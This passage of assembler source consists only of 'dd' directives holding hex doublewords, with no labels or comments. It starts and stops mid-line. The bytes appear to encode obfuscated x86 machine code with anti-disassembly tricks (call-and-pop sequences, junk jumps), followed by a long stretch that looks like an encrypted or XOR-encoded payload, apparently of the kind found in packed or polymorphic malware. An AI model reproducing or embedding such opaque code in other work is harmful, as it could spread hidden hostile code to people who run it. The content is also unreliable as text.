57470000h, 0FE9CD0C3h, 3890Fh, 0D5800000h, 9529589Ch dd 61225CDh, 89D68B50h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 67658EC3h, 1E559D89h dd 1E6A0612h, 33F19D89h, 66900612h, 6650CA8Bh, 90309ABFh dd 66DDB460h, 611D9EB9h, 0AB6495FFh, 6A0615h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 9E8E1C3h dd 31000000h, 18663711h, 0CDA89843h, 0AE9h, 679BDF00h dd 86D45A8Fh, 5ACE597Ah, 885958Bh, 0D88B0612h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 78C35545h, 66F7023Fh dd 49F6F781h, 8058FA8Bh, 99BFC7D1h, 0B4386BFh, 11840FDBh dd 89000000h, 1229759Dh, 10AE906h, 958B0000h, 6121645h dd 52525090h, 0FE9h, 32BCD000h, 0CFB7333h, 59212533h, 0DFF3299Bh dd 66310F5Fh, 5A2B29BFh, 89905058h, 1211C9BDh, 0FF09B606h dd 15AB44B5h, 0CAB70F06h, 0AB4895FFh, 6A0615h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BD2374C3h, 6122C69h, 850FC00Bh, 83h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 9EC35545h, 0B256CB8Ah dd 87D7C663h, 0B585891Fh, 0E906120Ch, 0Ch, 14354EC3h, 157B8026h dd 1CB31F83h, 0E5952961h, 0C706120Eh, 15AB4C85h, 106h dd 8A0F00h, 66000000h, 0E9798CB9h, 44h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 19h, 93C35545h, 7105C7EEh dd 21B529D8h, 61061234h, 11CC681h, 8D890000h, 6122119h dd 0FFF977E9h, 5880FFFh, 0BA000000h, 7AFDE844h, 3FB96068h dd 240481D3h, 2CC0C6A0h, 0DE9h, 0B71C5800h, 0B026C4D8h dd 3F3D560Ch, 6AF271h, 0B5FF7AB6h, 615AB54h, 95FF5F53h dd 6123301h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 15C35646h, 53596949h, 3595014Dh, 0E9061203h, 10h dd 0CDCA8B7Dh, 68BBA603h, 0BE820E1Fh, 0AB398DB3h, 0AB4C858Bh dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0E990E1C3h, 0Ah, 622F02C7h, 87048AA1h, 0E950C962h dd 5, 6653DC3Ah, 858D902Ch, 615AB5Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0A1C35343h, 1729176Eh, 87DD507Ah dd 66605650h, 0ADB3C18Bh, 4895F61h, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h dd 1404h, 0C3574700h, 19858D12h, 6A0615ABh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 546FC355h dd 8BFA5B4Bh, 8E9h, 851C6600h, 0A6E7B529h, 13E95017h, 0A000000h dd 20B5389Ch, 0A71F97DDh, 91E5C1ABh, 7178274Dh, 489EBD5h dd 0FE8B6624h, 1A0DBD8Bh, 95FF0612h, 6122FF1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 90C35141h, 0AAF37EDBh dd 6870Fh, 0B5890000h, 6121465h, 4E18166h, 80C08B91h, 0BD83EBC1h dd 6122F01h, 83097500h, 122149BDh, 13740006h, 0C08B5350h dd 4D0B8h, 449D8D00h, 0FF0614ABh, 83585BD3h, 122149BDh dd 11740006h, 0D0B85350h, 8D000004h, 14AA439Dh, 5BD3FF06h dd 38A0F58h, 80000000h, 14E9FECDh, 2B000000h, 94847FBBh dd 31233A21h, 9498CF06h, 6CD88F55h, 8B2F78D5h, 0A5BD8BC0h dd 58061220h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 8C35141h, 1C7AF281h, 8C25CBFh, 0AE900h, 0B4CD0000h dd 6B80B6BCh, 84DEA8B3h, 0BD29C08Bh, 61203BDh, 0AB7F858Dh dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0F4575C3h, 8589011Bh, 6121639h, 39EBh, 2CC00B0h dd 2E400B0h, 0B0h, 0C4440000h, 0C85F4588h, 0C0657491h dd 0C4712080h, 836E4D8Bh, 0ADED4C81h, 0E18474ABh, 0D92E20A9h dd 0C35550AAh, 0C86A48B1h, 0CD0C4484h, 0AD6CE06Eh, 0AD00C8B2h dd 0F2A120E5h, 0D1497F26h, 0E9E124C1h, 0AD2624C1h, 0FA5F20E5h dd 13F4526h, 82079D66h, 0D80326F7h, 0E43CA3ECh, 0ADC632C4h dd 0FE303991h, 1488E06Eh, 241820E1h, 0BF071560h, 0A49BADE3h dd 52053448h, 2ED97B36h, 0BFE16958h, 0BA1420E3h, 148873B5h dd 241820E1h, 0BF071560h, 559BADE3h, 5205344Ch, 0A2D97B36h dd 0ADC02668h, 0E0F5A9E5h, 263632FDh, 0FD184A25h, 0AD0C230Dh dd 6E5E00E5h, 8947A9BDh, 89C5A1E1h, 0ADC036E1h, 6E3060E5h dd 0ACA57F48h, 0BF34D170h, 6C89E6E3h, 0FB0032F0h, 4552208Fh dd 0AD8120E6h, 0F40379C5h, 0A9446C6Ch, 0A9146464h, 0AD1820F3h dd 2CF71A4h, 388D5552h, 0AB110DD0h, 0AD81240Dh, 57872E5h dd 0ADE32F79h, 0FD3020E5h, 0AD07ADEAh, 446C20E5h, 0AD0620F1h dd 8BA524AEh, 94992C97h, 0AD6A496Dh, 5AFF7069h, 0E1FCC3AFh dd 96FB9A83h, 8948AB84h, 0CD5470E1h, 96F41F5Ah, 9C8E419Fh dd 0F738ABB5h, 0ADEB78BFh, 0AD30300Dh, 8D532BE5h, 41C02376h dd 0DE66BA3Eh, 0B9BBC3F3h, 258E9E9Eh, 249A65F2h, 446404A1h dd 0AD3020EEh, 91C3BE8Bh, 0D6D5AFD9h, 0F5D1B0B9h, 4555208Fh dd 0AD8120E6h, 0F3037EC5h, 0A944546Ch, 0A9146464h, 0AD1820FCh dd 51CF76A3h, 666058C3h, 6A824627h, 187EC611h, 0ABD211E4h dd 4536208Fh, 0AD3020E6h, 0F3DB7EC5h, 0A928546Ch, 0A9226464h dd 0AD0320F8h, 934276A3h, 1C2581B2h, 73692B64h, 28DAA0DEh dd 2F62A568h, 0AD6626F0h, 0AD05C8B3h, 0F32320E5h, 0D9087E26h dd 0E94124C1h, 0AD7524C1h, 0FB7620E5h, 2484DC26h, 0BF210960h dd 52F8ABE3h, 0FB034A35h, 0AD81230Dh, 6E9E00E5h, 8914A9BBh dd 8974A1E1h, 0AD1838E1h, 6E5A66E5h, 23171679h, 0C7074AF7h dd 0AE6976E5h, 8DC020E5h, 243EE3BBh, 2C340491h, 0B11C04A1h dd 0EB0C20E5h, 8B74E3B3h, 21137463h, 0A6F0E825h, 0BFF1D550h dd 6F6748E3h, 7DBB0EE8h, 0AA3C1464h, 44222D37h, 0AD0620EEh dd 0C7E00835h, 3FE5DA0Fh, 0A245D1A3h, 108E85Ah, 0A2A280FFh dd 0AD182461h, 1EB646E5h, 8902A13Ah, 0C05CC8A5h, 0C77F9FEAh dd 0FBC04AE5h, 0AD60230Dh, 6E6E00E5h, 896CA9BBh, 8948A1E1h dd 0AD063AE1h, 6E5566E5h, 3514C74Fh, 52A75B9Fh, 0FF604A35h dd 0AD30230Dh, 6E4200E5h, 8958A9BFh, 8942A1E1h, 0AD0338E1h dd 6ED362E5h, 0BB75DE82h, 0ADE5A9E8h, 26363558h, 0BF0DC550h dd 0A8F4ABE3h, 0AD062229h, 1007A56Ch, 6D0226F0h, 0A545A9FDh dd 9E663558h, 0AFDC9925h, 7EB20E5h, 9D7595CCh, 208D26F7h dd 0AB113F1Ch, 0B840A523h, 0C78326F7h, 0AE8875E5h, 8D3020E5h dd 2445E3B8h, 2C080489h, 0B10204A1h, 0E80320E5h, 0FE1FE3B0h dd 0A3414A2Dh, 2D0BA929h, 10037410h, 0AB0A0DB0h, 2A16B68Dh dd 0AD03C96Dh, 0B5FD20E5h, 2C43CB8Eh, 0FD0804E1h, 0AD0A3305h dd 0AD33C8B6h, 0F63820E5h, 0F1857B26h, 0E98724C1h, 0AD1F24C1h dd 0FEC220E5h, 0EA94EB26h, 574920C8h, 125600C4h, 18E7074Eh dd 0AB1E11E4h, 4550208Fh, 0AD0320E6h, 0F3427EC5h, 0A9E4546Ch dd 0A9446464h, 0AD3020FDh, 52DB76A3h, 2EBDD7E9h, 288BEA6Eh dd 0AB16A29Fh, 45D1208Fh, 0ADC020E6h, 0F5A378C5h, 0A914646Ch dd 0A93C6464h, 0AD0C20F0h, 2DC570A5h, 51C9AA27h, 0ADEBF01Ah dd 0ADC3C8B0h, 0F04020E5h, 0C1B97D26h, 0E99924C1h, 0AD1824C1h dd 0F84320E5h, 2000AE26h, 0AB930D3Ch, 846D9D6Eh, 28E926F7h dd 0AB2235B8h, 0AD18320Dh, 0B66382E5h, 4685E144h, 0DAB2035Fh dd 616E868Ah, 26F7175Dh, 0BF7EFD50h, 28BD79E3h, 0AB0A2B44h dd 455A208Fh, 0AD0620E6h, 0F3C07EC5h, 0A9A5546Ch, 0A9E46464h dd 0AD6020F8h, 0C6F376A3h, 62861A4Fh, 4C1945h, 60D0A160h dd 24152610h, 0BF8A7560h, 0ADD2C8E3h, 8FF820E5h, 1CDD2C98h dd 28D612FCh, 5080DB16h, 3C8D727Dh, 0AE349F83h, 0E00C09BCh dd 6BC632CAh, 0BF75E160h, 0AD5A73E3h, 0AD1BC8B2h, 0F22C20E5h dd 0D18F7F26h, 0E98224C1h, 0AD9824C1h, 0FA8720E5h, 0C68BB226h dd 0C5F08CD9h, 24731C18h, 76282464h, 0C77566EEh, 0AEEB71E5h dd 8D8120E5h, 2499E3BCh, 2C6404A9h, 0BB3404A1h, 0EC1820E5h dd 0D2C5E3B4h, 0AD0AC967h, 199920E5h, 0EA4A21F6h, 0C4D9668Fh dd 189FFCECh, 0AB2211E4h, 0A1A1ADE4h, 288126F7h, 0AB13A29Fh dd 4556208Fh, 0AD8120E6h, 0F0037DC5h, 0A9444C6Ch, 0A9146464h dd 0AD1820FEh, 0DCCF75A0h, 0F36A0B47h, 445CC877h, 0AD8120E3h dd 2211FC65h, 7D9FD9C1h, 24C697EAh, 0BF31F160h, 28CAD5E3h dd 0AB143524h, 0FF034AB6h, 0AD81230Dh, 6E9A00E5h, 8934A9BFh dd 8974A1E1h, 0AD1834E1h, 6E5E62E5h, 0AD02C8D0h, 69B020E5h dd 5A0AF8FDh, 8984ABB5h, 0AD65C9E1h, 0CB4220E5h, 268C1308h dd 8948A9E5h, 0AD0DC8E1h, 0F47C20E5h, 4190E47Ch, 53B1B34Bh dd 0CC00707Ah, 0C76879BCh, 0AEF070E5h, 8D0C20E5h, 245EE3BDh dd 2C0704A1h, 0BA8504A1h, 0EDC020E5h, 6493E3B5h, 5FB1F8DDh dd 0B279DBFFh, 9C0D951Ah, 0AD6C26F7h, 0AD00C8B3h, 0F3A120E5h dd 0D9497E26h, 0E9E124C1h, 0AD2D24C1h, 0FB5E20E5h, 9673D826h dd 97F5587h, 44D86707h, 0AD8120E3h, 0D53021F3h, 20956AE5h dd 0B8B25A60h, 0C7C8DFE3h, 0AEE476E5h, 8D0620E5h, 245DE3BBh dd 2C850491h, 0B8C404A1h, 0EB6020E5h, 0D761E3B3h, 849DA91Ch dd 0C70A32C5h, 0AEEE75E5h, 8D0320E5h, 24DCE3B8h, 2CC40489h dd 0B86404A1h, 0E83020E5h, 0E743E3B0h, 9FF1B56Eh, 28C026F7h dd 0AB113524h, 5C34A9A2h, 45C632CBh, 0AD6020E1h, 1AEEFD4Ch dd 0AD16A8EAh, 445A20E5h, 0AD0620E2h, 0CACEC6A1h, 0F7D9F7E4h dd 45A040B5h, 0AD6020ECh, 0DD557171h, 0CCF7114Fh, 0CB6D7B81h dd 0CCF3D15Fh, 0A927646Eh, 0D3897D5Bh, 0CBC0ABE5h, 0E9E9D36Eh dd 7BBB24C1h, 0D08D0BBDh, 520A32F2h, 0BF372150h, 0FB034AE3h dd 0AD81230Dh, 6E9E00E5h, 8914A9BBh dd 8974A1E1h, 0AD1835E1h, 6E5A66E5h, 0A8EE2352h, 0D10320E5h dd 9A79FB7Fh, 1781FF64h, 203953F2h, 0B8B25A60h, 0FB184AE3h dd 0AD0C230Dh, 6E5800E5h, 8977A9BBh, 89C5A1E1h, 0ADC039E1h dd 6E3666E5h, 7A8A1720h, 0A6F1C46Eh, 0DF0C20E5h, 0C8E82109h dd 9892DD62h, 43013B68h, 2410DFA9h, 0BF4D3D60h, 2CBD2BE3h dd 6B1E32C8h, 0BF19E160h, 0AD6C67E3h, 0AD00C8B5h, 0F5A120E5h dd 0E9497826h, 0E9E124C1h, 0AD2924C1h, 0FD5820E5h, 5815DA26h dd 0FBD9D9DAh, 80829DC6h, 24DB26F7h, 0BFDF2560h, 0AD64C8E3h dd 0BD4A20E5h, 0CD4AA139h, 9C0372B5h, 548D78BFh, 26537A84h dd 89C5AB12h, 0ADC9C9E1h, 0DFB920E5h, 0A98514F0h, 26BFB8BDh dd 245377E5h, 0FD0204A1h, 0AD17C8B7h, 265120E5h, 0CE9F2BFAh dd 65C9EF78h, 41606375h, 0ECB483Ah, 0FF5C8C6Bh, 0F55C11EAh dd 26322FBBh, 0F5D97A2Ah, 4596208Fh, 0AD6020E6h, 0F3F37EC5h dd 0A93C546Ch, 0A9286464h, 0AD0620F3h, 14C076A3h, 6700C85Ch dd 8D33EAECh, 9C61951Ah, 1A3F26F7h, 0FFCAA12Fh, 201D1829h dd 0B8845A60h, 288A40E3h, 0AB931398h, 2C10DF84h, 0AF0B2002h dd 50B5A9AAh, 0CB1E32F9h, 6B17415Ah, 0BF13E160h, 388867E3h dd 0AB932704h, 0ADC0340Dh, 0E72466E5h, 3236A1D7h, 0CFFD68C8h dd 1143A80Ah, 1A9467E6h, 0F388929Bh, 9B99818Dh, 2C30ABA7h dd 8EDC04E1h, 26564872h, 0ACADDF15h, 0C70A32D4h, 0AEEE72E5h dd 8D0320E5h, 24DBE3BFh, 2CC404B1h, 0B06404A1h, 0EF3020E5h dd 6E7FE3B7h, 68EAAC6Bh, 34596101h, 0AD03310Ch, 0DAFBBCE5h dd 0AD07E30Bh, 0F6461126h, 7CC9C992h, 2831E9E7h, 0AB1E23C8h dd 0B7F3AD6Eh, 288E26F7h, 0AB94A29Fh, 0ADC02B0Ch, 0E127EDE5h dd 0A1FE3BA3h, 1483E971h, 2885F01Ah, 0AB142778h, 4555208Fh dd 0AD8120E6h, 0F3037EC5h, 0A944546Ch, 0A9146464h, 0AD1820F1h dd 82CF76A3h, 0FC3CF45Ah, 24D3DFC0h, 0BF8AB558h, 3445A9E3h dd 0C76632C6h, 0AED873E5h, 8D1820E5h, 2457E3BEh, 2C0204B9h dd 0B60704A1h, 0EE8120E5h, 7954E3B6h, 0FC0BAE8Dh, 1756EC17h dd 217E24D5h, 0C491A93Dh, 0A40032F3h, 0BF0F6578h, 0C78504E3h dd 0AE2870E5h, 8D6020E5h, 2468E3BDh, 2C1C04A1h, 0B00804A1h dd 0ED0620E5h, 1B5FE3B5h, 49F2AE05h, 1889C9C2h, 17209F83h dd 293FE0EFh, 0AD18221Ah, 0AD25B56Eh, 28C026F7h, 0AB113524h dd 853E46AAh, 6294891h, 63EBAF5Ch, 76142464h, 0C737E625h dd 0AEE477E5h, 8D0620E5h, 245CE3BAh, 2C850499h, 0B8C404A1h dd 0EA6020E5h, 39C0E3B2h, 12A8E565h, 88DAA6B1h, 9C07951Ah dd 288A26F7h, 0AB93349Ch, 99AD9D6Eh, 28ED26F7h, 0AB25A29Fh dd 0AD11A5EAh, 546C20E5h, 0BA17AD6Eh, 2D6226F7h, 7D7E1C30h dd 0C7E4E066h, 0AE8871E5h, 8D3020E5h, 2441E3BCh, 2C0804A9h dd 0B10204A1h, 0EC0320E5h, 1E1FE3B4h, 20F7FE08h, 24205670h dd 0BF001160h, 0FE184AE3h, 0AD0C230Dh, 6E5D00E5h, 895FA9BEh dd 89C5A1E1h, 0ADC038E1h, 6E3363E5h, 0F8E45F6Eh, 6C95A9AAh dd 260A32CFh, 0BF25B960h, 0FF034AE3h, 0AD81230Dh, 6E9A00E5h dd 8934A9BFh, 8974A1E1h, 0AD183CE1h, 6E5E62E5h, 0B29E002Fh dd 56A44F9Bh, 301CAB25h, 0C7C632E2h, 0AE8871E5h, 8D3020E5h dd 2441E3BCh, 2C0804A9h, 0B90204A1h, 0EC0320E5h, 447EE3B4h dd 0ADC020E8h, 0F939C072h, 9EB833E8h, 2B96FD24h, 648D63E9h dd 0ABC42F46h, 0B6887AB4h, 45D4208Fh, 0ADC020E6h, 0F0A37DC5h dd 0A9144C6Ch, 0A93C6464h, 0AD0C20F0h, 16C575A0h, 9096AB8Ch dd 268732F1h, 0FCC04AFEh, 0AD60230Dh, 6E6900E5h, 8954A9BCh dd 8948A1E1h, 0AD063DE1h, 6E5261E5h, 763FFA65h, 0CF1C3B79h dd 0B6EB5CA5h, 0AD36A5EAh, 309120E5h, 0AB1E13BCh, 3805F8D6h dd 0AB1114A4h, 890CBD6Ch, 0ADAA26F7h, 0AD63C8B7h, 0F71020E5h dd 0F9917A26h, 0E98D24C1h, 0AD1E24C1h, 0FF4120E5h, 0A4887C26h dd 0A2281559h, 716020E5h, 0A6B43466h, 439FA027h, 97188936h dd 5466DEBDh, 0CCD5AB83h, 6C04E6BBh, 0EAC632F0h, 0BF08D76Eh dd 26A84DA4h, 892CA117h, 82BFBC5Eh, 9C07951Ah, 0AD6926F7h dd 0AD82C8B6h, 0F6E020E5h, 0F1E97B26h, 0E9B124C1h, 0AD0E24C1h dd 0FE4F20E5h, 2F78A826h, 0A18E956Ch, 280C26F7h, 0ABD5A29Fh dd 4536208Fh, 0AD3020E6h, 0F3DB7EC5h, 0A928546Ch, 0A9226464h dd 0AD0320F0h, 624276A3h, 0AB4A2F76h, 266020E5h, 0BF265950h dd 0C7C8DFE3h, 0AEE473E5h, 8D0620E5h, 2458E3BEh, 2C8504B9h dd 0B0C404A1h, 0EE6020E5h, 0A901E3B6h, 80DB3CC1h, 693A0901h dd 0AD06ADEAh, 202A20E5h, 0AB930998h, 80DDA56Ch, 0AD0A26F7h dd 0AD33C8B2h, 0F23820E5h, 0D1857F26h, 0E98724C1h, 0AD1624C1h dd 0FAC620E5h, 8457CF26h, 0BF7CFD60h, 0AD5A60E3h, 0AD1BC8B4h dd 0F42C20E5h, 0E18F7926h, 0E98224C1h, 0AD9B24C1h, 0FC8120E5h dd 0ECC02726h, 784B3A6h, 26EBAB83h, 5C8746E5h, 0AD6C206Eh dd 0AD00C8B0h, 0F0A120E5h, 0C1497D26h, 0E9E124C1h, 0AD2A24C1h dd 0F85D20E5h, 54B2A826h, 85C5896Dh, 8DCEA56Ch, 280826F7h dd 0ABD23398h, 0AD61320Ch, 3085ABE5h, 201E32EEh, 0B8B10660h dd 36F4A1E3h, 0FD0289BFh, 0AD85ADEAh, 17A620E5h, 0A9E96DA0h dd 5AB140C1h, 0F1B6A0C5h, 0AD0AADEAh, 388F20E5h, 0AB1128FCh dd 3014DF84h, 44C632CDh, 0AD6020E0h, 70971137h, 267E4061h dd 6089AB1Bh, 0CC0032F9h, 102FBD68h, 0FCE126F0h, 8BF5AD6Eh dd 553F26F7h, 26567084h, 8904A92Eh, 455B208Fh, 0AD0620E6h dd 0F2C07FC5h, 0A9A55C6Ch, 0A9E46464h, 0AD6020FEh, 0FEF377A2h dd 0DA008AB4h, 2CC5D219h, 962BF82Ch, 0FC96239Eh, 3D8732E5h dd 0A228B0B5h, 8F6020E5h, 6C315B2h, 238E4608h, 66FFF56Ch dd 200924FCh, 0AD0320F4h, 0AD812C0Ch, 0ED7182E5h, 0C07D0010h dd 0B29CA942h, 38E77A87h, 0AB1E0A88h, 4556208Fh, 0AD0320E6h dd 0F54278C5h, 0A9E4646Ch, 0A9446464h, 0AD3020FDh, 79DB70A5h dd 15DBC17Bh, 9D37A56Ch, 0AD6926F7h, 0AD82C8B2h, 0F2E020E5h dd 0D1E97F26h, 0E9B124C1h, 0AD0D24C1h, 0FA4B20E5h, 0CBE7AC26h dd 6BE4EC5Bh, 0BF94E160h, 6B4173E3h, 0C1B727DDh, 0E6E5208Dh dd 0AD912F64h, 2C0C20E5h, 27904E1h, 0BFEB09DEh, 8120E5h dd 0BFC33935h, 9952CFC9h, 0D4F6BDDDh, 0D322AAF2h, 0AD00C9B9h dd 0A46220E5h, 0AD0B1364h, 2E2BCA5Fh, 5299F52Fh, 0BF512150h dd 88DA9E3h, 261E32F1h, 0BF380170h, 0D783ADE3h, 0C7053567h dd 0AE6977E5h, 8DC020E5h, 243FE3BAh, 2C340499h, 0BA1C04A1h dd 0EA0C20E5h, 8691E3B2h, 20307566h, 0AB930FFCh, 7D3F4A53h dd 8001AD6Eh, 28B926F7h, 0AB0A0C30h, 455A208Fh, 0AD0620E6h dd 0F3C07EC5h, 0A9A5546Ch, 0A9E46464h, 0AD6020FFh, 4EF376A3h dd 0C562DF3Fh, 28CA4341h, 0AB143524h, 0AB8A2FA2h, 9C8120E5h dd 0BFC36960h, 24E529E3h, 0C53632C4h, 53CF4107h, 0DF281464h dd 0C7598591h, 0AEEB72E5h, 8D8120E5h, 249AE3BFh, 2C6404B1h dd 0B53404A1h, 0EF1820E5h, 0E0A8E3B7h, 0A22F1199h, 0AD032561h dd 0BEF89FE5h, 183F3291h, 0AB7211E4h, 0AD30330Ch, 9DA01FE5h dd 0C6FF5519h, 0A55AB21h, 5245D3Ah, 169D5C47h, 0ADC5A3EAh dd 9ED920E5h, 2073BADDh, 0B89A5A60h, 0FD0C4AE3h, 0AD06230Dh dd 6E5B00E5h, 89C5A9BDh, 8984A1E1h, 0AD6034E1h, 6E6060E5h dd 2D7A954Ah, 7DF3C73Fh, 769FD264h, 288A4924h, 0AB933A04h dd 0ADC6ABEAh, 10EB20E5h dd 0AB22342Ch, 0B8D9A523h, 0C75F26F7h, 0AEEE76E5h, 8D0320E5h dd 24DFE3BBh, 2CC40491h, 0B76404A1h, 0EB3020E5h, 0B498E3B3h dd 0C5A42DB6h, 0F48321E7h, 0A20532FFh, 0F3E9E85Ah, 2CA2A72Dh dd 3A5204E1h, 10311654h, 0AB0A007Ch, 9C0D951Ah, 0AD6C26F7h dd 0AD00C8B0h, 0F0A120E5h, 0C1497D26h, 0E9E124C1h, 0AD2624C1h dd 0F85D20E5h, 0B3D1F126h, 2F7CA568h, 0AD6926F0h, 0AD82C8B5h dd 0F5E020E5h, 0E9E97826h, 0E9B124C1h, 0AD0524C1h, 0FD4C20E5h dd 2D747226h, 4B73F132h, 0A2B88644h, 0ADC02564h, 47F09FE5h dd 7DCF7CC6h, 0AB912F85h, 240C20E5h, 0BF106570h, 68BEA9E3h dd 0CC8732EBh, 8A41A56Ch, 0AD0A26F7h, 0AD33C8B4h, 0F43820E5h dd 0E1857926h, 0E98724C1h, 0AD1F24C1h, 0FCC020E5h, 25A33C26h dd 9309F486h, 18B9837Ch, 0AB0A09D0h, 0B8CDA523h, 0C75126F7h dd 0AEEB72E5h, 8D8120E5h, 249AE3BFh, 2C6404B1h, 0B13404A1h dd 0EF1820E5h, 9678E3B7h, 0F40003E4h, 242721E7h, 0BF97CD60h dd 9A1E48E3h, 0FF30D89Ch, 0AD32A5EAh, 0CC7820E5h, 0F55611EAh dd 75221464h, 0C76B5D80h, 0AE6975E5h, 8DC020E5h, 243DE3B8h dd 2C340489h, 0B81C04A1h, 0E80C20E5h, 0C2E2E3B0h, 429A9A83h dd 9C80951Ah, 0ADAA26F7h, 0AD63C8B6h, 0F61020E5h, 0F1917B26h dd 0E98D24C1h, 0AD1F24C1h, 0FE4020E5h, 0B13B7A26h, 8EC5017Ch dd 0BF793558h, 0D7B5ADE3h, 131E3567h, 89C619FDh, 0AD6CF01Ah dd 0AD00C8B5h, 0F5A120E5h, 0E9497826h, 0E9E124C1h, 0AD2B24C1h dd 0FD5820E5h, 6BC73A26h, 7289B2EAh, 0AD0EC970h, 0EDA520E5h dd 8D848CBh, 448D344Fh, 246202B2h, 0BF0C5560h, 0FD0C4AE3h dd 0AD06230Dh, 6E5B00E5h, 89C5A9BDh, 8984A1E1h, 0AD603BE1h dd 6E6060E5h, 0E6FCB779h, 7ED2112Eh, 88E7AD6Ch, 28C526F7h dd 0AB933524h, 0F8C04AA6h, 0AD60230Dh, 6E6D00E5h, 8974A9B8h dd 8948A1E1h, 0AD0635E1h, 6E5665E5h, 0A969327Ah, 85C020E5h dd 26DCB095h, 0E9BB701Eh, 0AD9324C1h, 0F2C4ABB2h, 0A922646Ch dd 845BE86Eh, 0BFA75D70h, 0AC75DFE3h, 0CD6632D4h, 0CD6BCE65h dd 0AD1DC910h, 683D20E5h, 0CC763310h, 0D786AD84h, 0C7873567h dd 0AE2875E5h, 8D6020E5h, 246DE3B8h, 2C1C0489h, 0B00804A1h dd 0E80620E5h, 0BEC2E3B0h, 3376F379h, 2FEF0247h, 0BC11AD6Eh dd 7DCF26F7h, 454A208Fh, 0AD0C20E6h, 0F7C57AC5h, 0A927746Ch dd 0A9A56464h, 0ADC020F1h, 0DBA372A7h, 0BFF9B56Eh, 289126F7h dd 0AB1E09D4h, 4553208Fh, 0AD0320E6h, 0F0427DC5h, 0A9E44C6Ch dd 0A9446464h, 0AD3020FDh, 0F1DB75A0h, 95116D32h, 9DF3956Eh dd 288E26F7h, 0AB949DF9h, 0B6419D6Ch, 0FBF026F7h, 0F2E1AB83h dd 38E7B0B5h, 0AB1E0878h, 4553208Fh, 0AD0320E6h, 0F0427DC5h dd 0A9E44C6Ch, 0A9446464h, 0AD3020FDh, 0DDDB75A0h, 0BEEF3F56h dd 0B4CBAD6Eh, 308A26F7h, 0AB9312C4h, 12A6F86Eh, 28ED8164h dd 0AB259DF5h, 0B59DB56Ch, 0CB9C26F7h, 0A256DE6Eh, 0AD033163h dd 0CCE140E5h, 0ADC0280Ch, 253CF3E5h, 314A3BB7h, 0C788416Dh dd 0AEE475E5h, 8D0620E5h, 245EE3B8h, 2C850489h, 0BAC404A1h dd 0E86020E5h, 58D3E3B0h, 0FD8BDEA4h, 0FE0C4A76h, 0AD06230Dh dd 6E5800E5h, 89DDA9BEh, 8984A1E1h, 0AD6035E1h, 6E6363E5h dd 4299C330h, 0EF8C817Bh, 876BB51Ah, 7EB926F7h, 2484CA16h dd 0BFCC8960h, 0FC604AE3h, 0AD30230Dh, 6E4100E5h, 8940A9BCh dd 8942A1E1h, 0AD033DE1h, 6ED061E5h, 5B005AC2h, 276DF56Eh dd 59BA77FDh, 0AAFDA522h, 0AD0326F7h, 120920E5h, 496DF1Ch dd 0C78732E9h, 0AE2870E5h, 8D6020E5h, 2468E3BDh, 2C1C04A1h dd 0B90804A1h, 0ED0620E5h, 24C1E3B5h, 0BF98E960h, 0F07DABE3h dd 456632C4h, 0AD3020F7h, 0DE45C787h, 0BF870518h, 0CACBC6A1h dd 985BF7E4h, 44D25B1Bh, 0ADC020E3h, 0C6F82C17h, 0F36E9C8Eh dd 0B845A56Eh, 308126F7h, 0AB13EF19h, 2002636Ch, 0BF8A8158h dd 7B75ADE3h, 1466352Ah, 0AD3020D6h, 9EF38416h, 0AD0C205Dh dd 0D9C62BE5h, 0AD1BE2E6h, 0A1A5646Eh, 0ADC0C8B6h, 2C3B20E5h dd 0AD303726h, 8944A9E5h, 8948A9F5h, 9ABE7BF1h, 5203921Fh dd 89C5AB05h, 8E20DFE1h, 0BF499568h, 62BB46E3h, 4549208Fh dd 0AD0C20E6h, 0F4C579C5h, 0A9276C6Ch, 0A9A56464h, 0ADC020FCh dd 32A371A4h, 0BA8A57F3h, 0A9972F30h, 0CB0C20E5h, 0CC20A65Fh dd 4551208Fh, 0AD8120E6h, 0F7037AC5h, 0A944746Ch, 0A9146464h dd 0AD1820FFh, 0A1CF72A7h, 7F6ADFD9h, 7E880820h, 10919D68h dd 204D26F0h, 0AB75F09Bh, 8B9B155Dh, 6C9D137Dh, 860A32CCh dd 6ECDE12Ah, 0B2AD6CE0h, 0E5AD00C8h, 26F2A120h, 0C1D1497Fh dd 0C1E9E124h, 0E5AD2624h, 0F305E983h, 6AD98BA4h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 3CB8C350h, 7DA6EDEBh, 8D8B8168h, 6120385h, 7BE9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 9E3B5BEAh, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 2AD04842h, 10E860h, 0EEE80000h, 53517A4Eh dd 6A05A685h, 87D6691Ch, 0D9808814h, 0BE95F7Eh, 77000000h dd 1012BF2Ah, 1811D81Ah, 0C3611D04h, 0BE9h, 0E09D9A00h dd 0B1EBD02Fh, 4CCE5B2Fh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 0F9C7BBC3h, 1BD83F9h dd 6122Fh, 0BD830975h, 6122149h, 50197400h, 0B8C08B53h dd 4B9h, 2B98589h, 9D8D0612h, 614AD70h, 585BD3FFh, 2149BD83h dd 74000612h, 0B8535017h, 4B9h, 2B98589h, 9D8D0612h, 614AA11h dd 585BD3FFh, 13E9h, 86254600h, 0FB8101A9h, 0A67B5B2Ah dd 0D77233A3h, 61476893h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 74C35343h, 